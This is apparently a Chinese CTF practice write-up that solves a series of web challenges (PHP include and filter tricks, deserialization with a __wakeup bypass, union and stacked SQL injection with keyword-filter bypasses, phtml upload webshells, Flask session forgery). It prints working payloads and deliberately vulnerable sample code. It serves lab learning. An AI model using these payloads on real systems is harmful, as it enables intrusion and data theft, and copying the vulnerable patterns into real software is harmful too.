PHP 语言漏洞

[极客大挑战 2019]Havefun

ez_php

1
2
3
4
5
6
7
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
?>

只要 GET 传入的参数 cat 为 dog 就输出类似于 flag 的东西

这样就成了

[ACTF2020 新生赛]Include

看看 tips

php 伪协议读取

?file=php://filter/read=convert.base64-encode/resource=flag.php

[HCTF 2018]WarmUp

一张斜眼笑弔图,看源代码发现有 source.php 的提示,看看

代码比较长,先分析主体部分,主体部分先进行判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);

class emmm{
......
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

先判断 file 不为空,且 file 不为字符串,且 emmm 类中的 checkFile 返回值为真就执行 include,否则就输出滑稽图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

这个是 emmm 类的分析,并且这个类只有一个函数 checkFile,形参是 $page

checkFile 先进行声明白名单 “source”指向”source.php”,”hint”是”hint.php”

之后判断 page 不为空或者不是字符串,就输出 you can’t see it ,并返回 false

之后进行in_array 的判断,检查传入的$page是否直接在白名单中存在,如果存在,返回true。

之后 mb_strpos 函数把 page 拼接上”?”之后,找“ ? ”第一次出现的位置,然后 mb_substr 函数截取从 0 到 mb_strpos 返回值的部分返回给新变量 $_page。也就是把 $page 第一次出现“ ? ”之前的部分赋值给 $_page 进行处理

并且如果$_page 也在白名单里,就为真,之后对 $page 进行 url 解码再进行判断是否在白名单内,如果为真就返回真。

如果以上操作都没有进 if 语句的判断,就输出“you can’t see it”,返回假。

所以构造 playload 的思路是:在 playload 的 file 中加入白名单的任意的一个内容,之后加上?进行隔断。代码会对前面的内容进行分析,返回 true ,所以就绕过checkFile 的检查。

所以 playload 的构造如下:

1
?file=hint.php?flag.php

之后想了一下 include 会被前面的 hint.php 影响吗?问了一下 deepseek,他说” hint.php? “不存在,可以忽略, 所以不影响 playload

之后查看 hint.php 发现提示

因此 playload 如下,其中跳过了多个目录才发现 flag

1
?file=hint.php?../../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Exec

试试 ping mihoyo,但不成功,应该是环境问题了。

试试本地

ping 的地址中加点小佐料,flag 就出来了

[GXYCTF2019]Ping Ping Ping

mihoyo 怎么你了,为什么不行!!!

原来是给斜杠 ban 了

测试被 ban 字符

1
' " / ) * > ? < [ ] { }

执行一下命令,看一下 index.php

这 php 代码过滤挺严格的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>

直接变量拼接拿到 flag

[极客大挑战 2019]Secret File

老阴逼,字体黑色放最下面了

点击 select 发现可能存在 302 重定向

抓包看看,果然 secr3t.php

进去 secr3t.php 看看,是 php 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

天黑了 xd 们

原来打错了几个字符 hahaha,这样就行了

?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Knife

蚁剑连接也可以

[RoarCTF 2019]Easy Calc

进入题目发现有一个计算器

给你个大的,算一下

应该不是 ssti

看一下源码

有个提示calc.php?num=

看一下calc.php

一串 php 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

过滤了根目录“ / ”、空格,,先测试一下但这个直接被限制了

我也布吉岛为啥在前面加个空格就成功了,估计是环境问题吧

var_dump()试试加上 car()拼接试试,用 scandir()读取根目录

找到 flag 的位置了,在/f1agg 里,所以就用 file_get_contents()读文件了

[ACTF2020 新生赛]BackupFile

扫描网站

打开文件看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}


第一步先是检查是不是整数,之后进行弱比较就行了,弱比较会强制把123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 转换成 123 进行比较

1
?key=123

[极客大挑战 2019]BuyFlag

pay.php 代码里的内容

user 从 0 变为 1,我们就成学生了

源代码里发现 php 代码

那 POST 传参 password=404

1
2
3
4
5
6
7
8
9
10
<?
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
?>

密码正确,接下来就是输入金钱了,直接复制超出长度

少一个 0 也不行

科学计数法就行了

反序列化

[极客大挑战 2019]PHP

扫描网站看看,因为有 429,所以加上了 -t 15 –delay=1.5

下载 www.zip 看看

解压发现

假 flag,hhh

index.php 里发现这是一到反序列化的题目

class.php 里的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

exp:

1
2
3
4
5
6
7
8
9
10
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
echo serialize($a);
?>
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

???,对了,__wakeup()函数需要绕过,当成员属性数目大于实际数目时才可绕过wakeup,即 username 的 admin 不会被重置为 guest。

并且私有属性序列化时会添加类名前缀和空字符 ‘ \0 ‘,所以要把 \0 加上,复制的时候会去掉的!!!

修改一下就可以了,\0 用 url 编码一下是 %00

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

SQL

[极客大挑战 2019]EasySQL

先测试最简单的,看看回显是怎么样的

1’ or 1 = 1 直接出

正常 sql

测试闭合条件

测试回显位数

找数据库

wc 直接出

[SUCTF 2019]EasySQL

随便输入一下看看

之后测试被 ban 字符

union 和 order 都被 ban 了,所以一般的 sql 注入是不行的。

没有报错回显,报错注入也不行

所以猜一下查询语句是 SELECT $injection_point FROM users WHERE id=1

所以替换为*,1 试一下是直接 SELECT ***,1** FROM users WHERE id=1,就是查询所有列,所以就成功了

[极客大挑战 2019]LoveSQL

判断闭合条件,闭合条件为单引号

判断回显位数为 4

看看在哪一个位置能显示,是在 2 和 3 这两个位置

看看数据库

1’ union select 1,group_concat(schema_name),3 from information_schemata#

试试 database(),发现该数据库是 geek

看看数据表

1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = “geek” #

看看 geekuser 表里有什么

1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “geekuser” #

看看id,username,password

1’ union select 1,group_concat(id,username,password),3 from geekuser#

admin 422db9e893e35c2bf98747882dbd41f3

好像没有用

看看 l0ve1ysq1 表里有什么

1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “l0ve1ysq1” #

看看列,行了

1’ union select 1,group_concat(id,username,password),3 from l0ve1ysq1#

id,username,password 有意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1  cl4y  wo_tai_nan_le
2 glzjin glzjin_wants_a_girlfriend
3 Z4cHAr7zCr biao_ge_dddd_hm
4 0xC4m3l linux_chuang_shi_ren
5 Ayrain a_rua_rain
6 Akko yan_shi_fu_de_mao_bo_he
7 fouc5 cl4y
8 fouc5 di_2_kuai_fu_ji
9 fouc5 di_3_kuai_fu_ji
10 fouc5 di_4_kuai_fu_ji
11 fouc5 di_5_kuai_fu_ji
12 fouc5 di_6_kuai_fu_ji
13 fouc5 di_7_kuai_fu_ji
14 fouc5 di_8_kuai_fu_ji
15 leixiao Syc_san_da_hacker
16 flag flag{3648106f-de6a-40f6-a3a4-f2a079d42639}

最上面有一行小字,hhh

真好用

[强网杯 2019]随便注

判断闭合条件,是单引号

闭合上了

看回显位数,为 2

触发 waf 了,而且不区分大小写

堆叠注入试试,毕竟 select 被 ban 了,联合注入就不行了

看看数据表

看看 1919810931114514 这个数据表,没东西

words 有点东西

预编译一下看看,被 waf 了,但是没有限制大小写

1
2
3
4
?inject=1';
set @Fischl = concat('s','elect * from `1919810931114514`;'); //为变量赋值,注意反引号把数字包住
prepare Harker from @Fischl; //prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute Harker; //execute执行语句

这样就 ok 了

1
2
3
4
5
?inject=1';
Set @Fischl = concat('s','elect * from `1919810931114514`;');
Prepare Harker from @Fischl;
execute Harker;
%23

16 进制也行,看看整体结构

1
2
3
4
5
6
7
8
?inject=1';
show databases;
use supersqli;
show tables;
Set @Fischl = 0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;
Prepare Harker from @Fischl;
execute Harker;
%23

看看 words 的内容

随便看看

sqlmap 是没有灵魂的 hhh

[极客大挑战 2019]BabySQL

判断闭合条件,是单引号

看看回显位数

1
1' order by 3#

发现报错信息显示 der 3#,肯定是部分敏感字符被替换为空了

判断出回显位数是 3

1
2
1' oorrder bbyy 3 #
1' oorrder bbyy 4 #

看看 union select 被过滤了没

1
1' union select 1,2,3 #

不出所料,被过滤了

这样就行了

1
1' ununionion selselectect 1,2,3 #

看看数据库,这个没有被过滤

1
1' ununionion selselectect 1,database(),3 #

看看所有数据库,已经用双写绕过了

1
1' ununionion selselectect 1,group_concat(schema_name),3 frfromom infoorrmation_schema.schemata #

查看 geek 里的表

1
1' ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema = "geek" #

看看b4bsql

1
1' ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name = "b4bsql" #

看看id,username,password

1
1' ununionion selselectect 1,group_concat(id,' ',username,' ',passwoorrd),3 frfromom b4bsql#

整理一下界面显示的

这样就行了,pornhub,……,学到了,

1
2
3
4
5
6
7
8
1 cl4y i_want_to_play_2077
2 sql sql_injection_is_so_fun
3 porn do_you_know_pornhub
4 git github_is_different_from_pornhub
5 Stop you_found_flag_so_stop
6 badguy i_told_you_to_stop
7 hacker hack_by_cl4y
8 flag flag{8ad9ddf4-e094-4af8-a66d-312a778509ef}

文件上传漏洞

[极客大挑战 2019]Upload

要求图片文件

上传 1.jpg

有后端验证

phtml 可以

蚁剑连接就行了

根目录 flag

[ACTF2020 新生赛]Upload

简单的 jpg 文件可以上传

抓包看看,修改后端不行

爆破一下,经典 phtml 文件

蚁剑连接就行了

根目录 flag

其他

[极客大挑战 2019]Http

F12 大法

改 referer 头

改 User-Agent

改 xff 头

ok 了

[HCTF 2018]admin

提权是吧,有点意思

注册一下

登录

登录成功

看看 token

1
remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373; session=.eJw9kE-LwjAQxb_KkrMH-8c9CB6UaMnCJFRaSuYi2tboxLhQFduI332jLF7nPd5v3nuwzb5rLwc2vXa3dsQ2x4ZNH-xrx6YM-HIsCe6SiwkQJIqvreI_R13YQVViIn1zQic80nyM4YaUp6owvYyh1_HqBF4M0te9qpaJ9guCDFLtTfAtU6zWFnlDmvSgfZ4An3ssTIQu95rK4Lep5AuSvIy0WxEUjdOxiDXhQfHyjmR6yFZOkhmA7Iw9R6y-dPvN9de2508FxW30ikE-j3VAgq8TcCK8WQZknqjqVcn0ATlgJq10IlL57B13dFvTfpIww6H-V85bFwQWxUk6-WYjdru03Xs4Fo3Z8w9OSGzz.aJTWAA.ypg7aTtOkWByhU_8ud4T2FkCV6c

进行 session 解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)


if __name__ == '__main__':
# 在这里直接赋值要解密的 session 值
session_value = ".eJw9kE-LwjAQxb_KkrMH-8c9CB6UaMnCJFRaSuYi2tboxLhQFduI332jLF7nPd5v3nuwzb5rLwc2vXa3dsQ2x4ZNH-xrx6YM-HIsCe6SiwkQJIqvreI_R13YQVViIn1zQic80nyM4YaUp6owvYyh1_HqBF4M0te9qpaJ9guCDFLtTfAtU6zWFnlDmvSgfZ4An3ssTIQu95rK4Lep5AuSvIy0WxEUjdOxiDXhQfHyjmR6yFZOkhmA7Iw9R6y-dPvN9de2508FxW30ikE-j3VAgq8TcCK8WQZknqjqVcn0ATlgJq10IlL57B13dFvTfpIww6H-V85bFwQWxUk6-WYjdru03Xs4Fo3Z8w9OSGzz.aJTWAA.ypg7aTtOkWByhU_8ud4T2FkCV6c"

try:
decrypted = decryption(session_value.encode())
print("解密成功!Session 内容:")
print(decrypted)
except Exception as e:
print(f"解密失败: {str(e)}")

解密结果:

{‘_fresh’: True, ‘_id’: b’01463042923784d82ba929b977efb3f04e92f489817c1cae3227719a7c0c0c8c82f18eddd7cb62c47003e85fd3b57c9840c455bac17fcb6b6a850f810af68229’, ‘csrf_token’: b’89540cd06add3772b89570479dd881b52dcd6b59’, ‘image’: b’dfrq’, ‘name’: ‘123456’, ‘user_id’: ‘10’}

把 name 的 123456 改成 admin:

{‘_fresh’: True, ‘_id’: b’01463042923784d82ba929b977efb3f04e92f489817c1cae3227719a7c0c0c8c82f18eddd7cb62c47003e85fd3b57c9840c455bac17fcb6b6a850f810af68229’, ‘csrf_token’: b’89540cd06add3772b89570479dd881b52dcd6b59’, ‘image’: b’dfrq’, ‘name’: ‘admin‘, ‘user_id’: ‘10’}

但是加密需要密钥,所以再看看源代码找到下载源码的网站

emmmmm,已经找不到源码了,看看 wp 吧

密钥是 ckj123

加密后的结果:

1
remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373; session=.eJw9kE-LwjAQxb_KMmcP9o8XwYMSLVmYhEpLSS7itjV2Ylyoim3E775RFq_zHu837z1gd-jbyxHm1_7WTmDXNTB_wNcPzAHZeioI74LxGRImkm2tZN-dKuwoKz4Tvjlpx72m5VSHm6Y8lYUZRIyDijcn9HwUvh5ktU6UXxFmmCpvgm-d6mprNWtIkRqVzxNkS68LE2mXe0Vl8NtUsBUJVkbKbQiLxqmYx4r0UbLyrskMmG2cIDMi2QU8J1Bf-sPu-mvb86eCZDZ6xWi2jFVAoq8TdDy8WQZknsjqVckMATnqTFjheCTzxTuuc3vTfpJ0psf6XznvXRBg37juDBO4Xdr-vRtEU3j-Afc8bcc.aJTcZA.26Y5Hxb3_NzmgiNXvEa32RUndYk

非预期: